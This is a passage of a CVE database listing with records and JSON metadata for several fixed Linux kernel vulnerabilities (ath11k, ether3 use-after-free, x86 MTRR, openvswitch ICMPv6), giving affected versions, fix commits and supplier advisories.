        {
          "url": "https://git.kernel.org/stable/c/7a552bc2f3efe2aaf77a85cb34cdf4a63d81a1a7"
        },
        {
          "url": "https://git.kernel.org/stable/c/6045ef5b4b00fee3629689f791992900a1c94009"
        },
        {
          "url": "https://git.kernel.org/stable/c/01b77f5ee11c89754fb836af8f76799d3b72ae2f"
        },
        {
          "url": "https://git.kernel.org/stable/c/69f253e46af98af17e3efa3e5dfa72fcb7d1983d"
        }
      ],
      "title": "wifi: ath11k: fix array out-of-bound access in SoC stats",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49930",
    "datePublished": "2024-10-21T18:01:53.126Z",
    "dateReserved": "2024-10-21T12:17:06.039Z",
    "dateUpdated": "2026-05-12T11:59:03.454Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47747 (GCVE-0-2024-47747)

Vulnerability from cvelistv5 – Published: 2024-10-21 12:14 – Updated: 2026-05-12 11:58

Title

net: seeq: Fix use after free vulnerability in ether3 Driver Due to Race Condition

Summary

In the Linux kernel, the following vulnerability has been resolved: net: seeq: Fix use after free vulnerability in ether3 Driver Due to Race Condition In the ether3_probe function, a timer is initialized with a callback function ether3_ledoff, bound to &prev(dev)->timer. Once the timer is started, there is a risk of a race condition if the module or device is removed, triggering the ether3_remove function to perform cleanup. The sequence of operations that may lead to a UAF bug is as follows: CPU0 CPU1 | ether3_ledoff ether3_remove | free_netdev(dev); | put_devic | kfree(dev); | | ether3_outw(priv(dev)->regs.config2 |= CFG2_CTRLO, REG_CONFIG2); | // use dev Fix it by ensuring that the timer is canceled before proceeding with the cleanup in ether3_remove.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/25d559ed2beec9b34…
https://git.kernel.org/stable/c/b5a84b6c772564c83…
https://git.kernel.org/stable/c/338a0582b28e69460…
https://git.kernel.org/stable/c/822c7bb1f6f8b0331…
https://git.kernel.org/stable/c/1c57d61a43293252a…
https://git.kernel.org/stable/c/d2abc379071881798…
https://git.kernel.org/stable/c/516dbc6d166374308…
https://git.kernel.org/stable/c/77a77331cef0a219b…
https://git.kernel.org/stable/c/b5109b60ee4fcb2f2…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 6fd9c53f71862a4797b7ed8a5de80e2c64829f56 , < 25d559ed2beec9b34045886100dac46d1ad92eba (git) Affected: 6fd9c53f71862a4797b7ed8a5de80e2c64829f56 , < b5a84b6c772564c8359a9a0fbaeb2a2944aa1ee9 (git) Affected: 6fd9c53f71862a4797b7ed8a5de80e2c64829f56 , < 338a0582b28e69460df03af50e938b86b4206353 (git) Affected: 6fd9c53f71862a4797b7ed8a5de80e2c64829f56 , < 822c7bb1f6f8b0331e8d1927151faf8db3b33afd (git) Affected: 6fd9c53f71862a4797b7ed8a5de80e2c64829f56 , < 1c57d61a43293252ad732007c7070fdb112545fd (git) Affected: 6fd9c53f71862a4797b7ed8a5de80e2c64829f56 , < d2abc379071881798d20e2ac1d332ad855ae22f3 (git) Affected: 6fd9c53f71862a4797b7ed8a5de80e2c64829f56 , < 516dbc6d16637430808c39568cbb6b841d32b55b (git) Affected: 6fd9c53f71862a4797b7ed8a5de80e2c64829f56 , < 77a77331cef0a219b8dd91361435eeef04cb741c (git) Affected: 6fd9c53f71862a4797b7ed8a5de80e2c64829f56 , < b5109b60ee4fcb2f2bb24f589575e10cc5283ad4 (git)
Linux	Linux	Affected: 4.15 Unaffected: 0 , < 4.15 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47747",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T12:58:25.330423Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:04:13.623Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:41.323Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:50.849Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/seeq/ether3.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "25d559ed2beec9b34045886100dac46d1ad92eba",
              "status": "affected",
              "version": "6fd9c53f71862a4797b7ed8a5de80e2c64829f56",
              "versionType": "git"
            },
            {
              "lessThan": "b5a84b6c772564c8359a9a0fbaeb2a2944aa1ee9",
              "status": "affected",
              "version": "6fd9c53f71862a4797b7ed8a5de80e2c64829f56",
              "versionType": "git"
            },
            {
              "lessThan": "338a0582b28e69460df03af50e938b86b4206353",
              "status": "affected",
              "version": "6fd9c53f71862a4797b7ed8a5de80e2c64829f56",
              "versionType": "git"
            },
            {
              "lessThan": "822c7bb1f6f8b0331e8d1927151faf8db3b33afd",
              "status": "affected",
              "version": "6fd9c53f71862a4797b7ed8a5de80e2c64829f56",
              "versionType": "git"
            },
            {
              "lessThan": "1c57d61a43293252ad732007c7070fdb112545fd",
              "status": "affected",
              "version": "6fd9c53f71862a4797b7ed8a5de80e2c64829f56",
              "versionType": "git"
            },
            {
              "lessThan": "d2abc379071881798d20e2ac1d332ad855ae22f3",
              "status": "affected",
              "version": "6fd9c53f71862a4797b7ed8a5de80e2c64829f56",
              "versionType": "git"
            },
            {
              "lessThan": "516dbc6d16637430808c39568cbb6b841d32b55b",
              "status": "affected",
              "version": "6fd9c53f71862a4797b7ed8a5de80e2c64829f56",
              "versionType": "git"
            },
            {
              "lessThan": "77a77331cef0a219b8dd91361435eeef04cb741c",
              "status": "affected",
              "version": "6fd9c53f71862a4797b7ed8a5de80e2c64829f56",
              "versionType": "git"
            },
            {
              "lessThan": "b5109b60ee4fcb2f2bb24f589575e10cc5283ad4",
              "status": "affected",
              "version": "6fd9c53f71862a4797b7ed8a5de80e2c64829f56",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/seeq/ether3.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.15"
            },
            {
              "lessThan": "4.15",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: seeq: Fix use after free vulnerability in ether3 Driver Due to Race Condition\n\nIn the ether3_probe function, a timer is initialized with a callback\nfunction ether3_ledoff, bound to \u0026prev(dev)-\u003etimer. Once the timer is\nstarted, there is a risk of a race condition if the module or device\nis removed, triggering the ether3_remove function to perform cleanup.\nThe sequence of operations that may lead to a UAF bug is as follows:\n\nCPU0                                    CPU1\n\n                      |  ether3_ledoff\nether3_remove         |\n  free_netdev(dev);   |\n  put_devic           |\n  kfree(dev);         |\n |  ether3_outw(priv(dev)-\u003eregs.config2 |= CFG2_CTRLO, REG_CONFIG2);\n                      | // use dev\n\nFix it by ensuring that the timer is canceled before proceeding with\nthe cleanup in ether3_remove."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:39:58.607Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/25d559ed2beec9b34045886100dac46d1ad92eba"
        },
        {
          "url": "https://git.kernel.org/stable/c/b5a84b6c772564c8359a9a0fbaeb2a2944aa1ee9"
        },
        {
          "url": "https://git.kernel.org/stable/c/338a0582b28e69460df03af50e938b86b4206353"
        },
        {
          "url": "https://git.kernel.org/stable/c/822c7bb1f6f8b0331e8d1927151faf8db3b33afd"
        },
        {
          "url": "https://git.kernel.org/stable/c/1c57d61a43293252ad732007c7070fdb112545fd"
        },
        {
          "url": "https://git.kernel.org/stable/c/d2abc379071881798d20e2ac1d332ad855ae22f3"
        },
        {
          "url": "https://git.kernel.org/stable/c/516dbc6d16637430808c39568cbb6b841d32b55b"
        },
        {
          "url": "https://git.kernel.org/stable/c/77a77331cef0a219b8dd91361435eeef04cb741c"
        },
        {
          "url": "https://git.kernel.org/stable/c/b5109b60ee4fcb2f2bb24f589575e10cc5283ad4"
        }
      ],
      "title": "net: seeq: Fix use after free vulnerability in ether3 Driver Due to Race Condition",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47747",
    "datePublished": "2024-10-21T12:14:13.783Z",
    "dateReserved": "2024-09-30T16:00:12.960Z",
    "dateUpdated": "2026-05-12T11:58:50.849Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-44948 (GCVE-0-2024-44948)

Vulnerability from cvelistv5 – Published: 2024-09-04 18:35 – Updated: 2026-05-12 11:57

Title

x86/mtrr: Check if fixed MTRRs exist before saving them

Summary

In the Linux kernel, the following vulnerability has been resolved: x86/mtrr: Check if fixed MTRRs exist before saving them MTRRs have an obsolete fixed variant for fine grained caching control of the 640K-1MB region that uses separate MSRs. This fixed variant has a separate capability bit in the MTRR capability MSR. So far all x86 CPUs which support MTRR have this separate bit set, so it went unnoticed that mtrr_save_state() does not check the capability bit before accessing the fixed MTRR MSRs. Though on a CPU that does not support the fixed MTRR capability this results in a #GP. The #GP itself is harmless because the RDMSR fault is handled gracefully, but results in a WARN_ON(). Add the missing capability check to prevent this.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/34f36e6ee5bd7eff8…
https://git.kernel.org/stable/c/06c1de44d378ec543…
https://git.kernel.org/stable/c/450b6b22acdaac67a…
https://git.kernel.org/stable/c/ca7d00c5656d1791e…
https://git.kernel.org/stable/c/8aa79dfb216b865e9…
https://git.kernel.org/stable/c/8a90d3fc7c2460854…
https://git.kernel.org/stable/c/388f1c954019f253a…
https://git.kernel.org/stable/c/919f18f961c03d669…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 2b1f6278d77c1f2f669346fc2bb48012b5e9495a , < 34f36e6ee5bd7eff8b2adcd9fcaef369f752d82e (git) Affected: 2b1f6278d77c1f2f669346fc2bb48012b5e9495a , < 06c1de44d378ec5439db17bf476507d68589bfe9 (git) Affected: 2b1f6278d77c1f2f669346fc2bb48012b5e9495a , < 450b6b22acdaac67a18eaf5ed498421ffcf10051 (git) Affected: 2b1f6278d77c1f2f669346fc2bb48012b5e9495a , < ca7d00c5656d1791e28369919e3e10febe9c3b16 (git) Affected: 2b1f6278d77c1f2f669346fc2bb48012b5e9495a , < 8aa79dfb216b865e96ff890bc4ea71650f9bc8d7 (git) Affected: 2b1f6278d77c1f2f669346fc2bb48012b5e9495a , < 8a90d3fc7c24608548d3a750671f9dac21d1a462 (git) Affected: 2b1f6278d77c1f2f669346fc2bb48012b5e9495a , < 388f1c954019f253a8383f7eb733f38d541e10b6 (git) Affected: 2b1f6278d77c1f2f669346fc2bb48012b5e9495a , < 919f18f961c03d6694aa726c514184f2311a4614 (git)
Linux	Linux	Affected: 2.6.22 Unaffected: 0 , < 2.6.22 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.105 , ≤ 6.1.* (semver) Unaffected: 6.6.46 , ≤ 6.6.* (semver) Unaffected: 6.10.5 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-44948",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:40:29.464386Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:37.443Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:13:57.586Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:22.455Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "arch/x86/kernel/cpu/mtrr/mtrr.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "34f36e6ee5bd7eff8b2adcd9fcaef369f752d82e",
              "status": "affected",
              "version": "2b1f6278d77c1f2f669346fc2bb48012b5e9495a",
              "versionType": "git"
            },
            {
              "lessThan": "06c1de44d378ec5439db17bf476507d68589bfe9",
              "status": "affected",
              "version": "2b1f6278d77c1f2f669346fc2bb48012b5e9495a",
              "versionType": "git"
            },
            {
              "lessThan": "450b6b22acdaac67a18eaf5ed498421ffcf10051",
              "status": "affected",
              "version": "2b1f6278d77c1f2f669346fc2bb48012b5e9495a",
              "versionType": "git"
            },
            {
              "lessThan": "ca7d00c5656d1791e28369919e3e10febe9c3b16",
              "status": "affected",
              "version": "2b1f6278d77c1f2f669346fc2bb48012b5e9495a",
              "versionType": "git"
            },
            {
              "lessThan": "8aa79dfb216b865e96ff890bc4ea71650f9bc8d7",
              "status": "affected",
              "version": "2b1f6278d77c1f2f669346fc2bb48012b5e9495a",
              "versionType": "git"
            },
            {
              "lessThan": "8a90d3fc7c24608548d3a750671f9dac21d1a462",
              "status": "affected",
              "version": "2b1f6278d77c1f2f669346fc2bb48012b5e9495a",
              "versionType": "git"
            },
            {
              "lessThan": "388f1c954019f253a8383f7eb733f38d541e10b6",
              "status": "affected",
              "version": "2b1f6278d77c1f2f669346fc2bb48012b5e9495a",
              "versionType": "git"
            },
            {
              "lessThan": "919f18f961c03d6694aa726c514184f2311a4614",
              "status": "affected",
              "version": "2b1f6278d77c1f2f669346fc2bb48012b5e9495a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "arch/x86/kernel/cpu/mtrr/mtrr.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.22"
            },
            {
              "lessThan": "2.6.22",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.105",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.46",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.105",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.46",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.5",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "2.6.22",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/mtrr: Check if fixed MTRRs exist before saving them\n\nMTRRs have an obsolete fixed variant for fine grained caching control\nof the 640K-1MB region that uses separate MSRs. This fixed variant has\na separate capability bit in the MTRR capability MSR.\n\nSo far all x86 CPUs which support MTRR have this separate bit set, so it\nwent unnoticed that mtrr_save_state() does not check the capability bit\nbefore accessing the fixed MTRR MSRs.\n\nThough on a CPU that does not support the fixed MTRR capability this\nresults in a #GP.  The #GP itself is harmless because the RDMSR fault is\nhandled gracefully, but results in a WARN_ON().\n\nAdd the missing capability check to prevent this."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:32:34.329Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/34f36e6ee5bd7eff8b2adcd9fcaef369f752d82e"
        },
        {
          "url": "https://git.kernel.org/stable/c/06c1de44d378ec5439db17bf476507d68589bfe9"
        },
        {
          "url": "https://git.kernel.org/stable/c/450b6b22acdaac67a18eaf5ed498421ffcf10051"
        },
        {
          "url": "https://git.kernel.org/stable/c/ca7d00c5656d1791e28369919e3e10febe9c3b16"
        },
        {
          "url": "https://git.kernel.org/stable/c/8aa79dfb216b865e96ff890bc4ea71650f9bc8d7"
        },
        {
          "url": "https://git.kernel.org/stable/c/8a90d3fc7c24608548d3a750671f9dac21d1a462"
        },
        {
          "url": "https://git.kernel.org/stable/c/388f1c954019f253a8383f7eb733f38d541e10b6"
        },
        {
          "url": "https://git.kernel.org/stable/c/919f18f961c03d6694aa726c514184f2311a4614"
        }
      ],
      "title": "x86/mtrr: Check if fixed MTRRs exist before saving them",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-44948",
    "datePublished": "2024-09-04T18:35:48.980Z",
    "dateReserved": "2024-08-21T05:34:56.665Z",
    "dateUpdated": "2026-05-12T11:57:22.455Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38558 (GCVE-0-2024-38558)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:35 – Updated: 2026-05-12 11:54

Title

net: openvswitch: fix overwriting ct original tuple for ICMPv6

Summary

In the Linux kernel, the following vulnerability has been resolved: net: openvswitch: fix overwriting ct original tuple for ICMPv6 OVS_PACKET_CMD_EXECUTE has 3 main attributes: - OVS_PACKET_ATTR_KEY - Packet metadata in a netlink format. - OVS_PACKET_ATTR_PACKET - Binary packet content. - OVS_PACKET_ATTR_ACTIONS - Actions to execute on the packet. OVS_PACKET_ATTR_KEY is parsed first to populate sw_flow_key structure with the metadata like conntrack state, input port, recirculation id, etc. Then the packet itself gets parsed to populate the rest of the keys from the packet headers. Whenever the packet parsing code starts parsing the ICMPv6 header, it first zeroes out fields in the key corresponding to Neighbor Discovery information even if it is not an ND packet. It is an 'ipv6.nd' field. However, the 'ipv6' is a union that shares the space between 'nd' and 'ct_orig' that holds the original tuple conntrack metadata parsed from the OVS_PACKET_ATTR_KEY. ND packets should not normally have conntrack state, so it's fine to share the space, but normal ICMPv6 Echo packets or maybe other types of ICMPv6 can have the state attached and it should not be overwritten. The issue results in all but the last 4 bytes of the destination address being wiped from the original conntrack tuple leading to incorrect packet matching and potentially executing wrong actions in case this packet recirculates within the datapath or goes back to userspace. ND fields should not be accessed in non-ND packets, so not clearing them should be fine. Executing memset() only for actual ND packets to avoid the issue. Initializing the whole thing before parsing is needed because ND packet may not contain all the options. The issue only affects the OVS_PACKET_CMD_EXECUTE path and doesn't affect packets entering OVS datapath from network interfaces, because in this case CT metadata is populated from skb after the packet is already parsed.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/6a51ac92bf35d34b4…
https://git.kernel.org/stable/c/0b532f59437f68856…
https://git.kernel.org/stable/c/5ab6aecbede080b44…
https://git.kernel.org/stable/c/483eb70f441e2df66…
https://git.kernel.org/stable/c/9ec8b0ccadb908d92…
https://git.kernel.org/stable/c/78741b4caae1e8803…
https://git.kernel.org/stable/c/431e9215576d7b728…
https://git.kernel.org/stable/c/d73fb8bddf89503c9…
https://git.kernel.org/stable/c/7c988176b6c16c516…

Impacted products

2 products

Vendor	Product	Version
